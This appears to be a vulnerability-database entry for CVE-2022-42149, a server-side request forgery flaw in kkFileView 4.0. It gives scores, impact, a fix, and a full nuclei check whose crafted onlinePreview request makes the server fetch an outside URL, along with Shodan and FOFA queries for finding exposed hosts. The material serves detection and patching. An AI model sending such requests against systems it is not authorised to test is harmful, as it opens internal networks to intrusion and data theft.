kkFileView 4.0 - Server-Side Request Forgery

criticalseverity

9.8CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.

Impact

Unauthenticated attackers can exploit SSRF to make the server fetch arbitrary URLs, potentially accessing internal services, bypassing firewall restrictions, and exfiltrating sensitive data from internal networks.

Fix

Update kkFileView to a version newer than 4.0 that properly validates URL parameters and restricts requests to trusted sources.

How to confirm it

Send: GET {{BaseURL}}/onlinePreview?url={{base64('http://oast.fun/robots.txt')}}
Positive when: contains(base64_decode(data), "Disallow")

Run it with nuclei: nuclei -id CVE-2022-42149 -u <target>

The full check

id: CVE-2022-42149

info:
  name: kkFileView 4.0 - Server-Side Request Forgery
  author: Arm!tage
  severity: critical
  description: |
    kkFileView 4.0 contains a server-side request forgery caused by improper validation in OnlinePreviewController.java, letting attackers induce the server to make arbitrary requests, exploit requires sending crafted requests.
  impact: |
    Unauthenticated attackers can exploit SSRF to make the server fetch arbitrary URLs, potentially accessing internal services, bypassing firewall restrictions, and exfiltrating sensitive data from internal networks.
  remediation: |
    Update kkFileView to a version newer than 4.0 that properly validates URL parameters and restricts requests to trusted sources.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/296
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42149
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-42149
    cwe-id: CWE-918
    epss-score: 0.02704
    epss-percentile: 0.86074
    cpe: cpe:2.3:a:keking:kkfileview:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - app="kkFileView"
      - app="kkfileview"
      - body="kkfileview"
  tags: cve,cve2022,ssrf,kkfileview,keking,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/onlinePreview?url={{base64('http://oast.fun/robots.txt')}}"

    extractors:
      - type: regex
        name: data
        group: 1
        regex:
          - 'hidden id="textData" value="([A-Za-z0-9=]+)"\/>'
        internal: true
    matchers:
      - type: dsl
        dsl:
          - contains(base64_decode(data), "Disallow")

References

Use this check only on systems you are authorised to test. Where the data comes from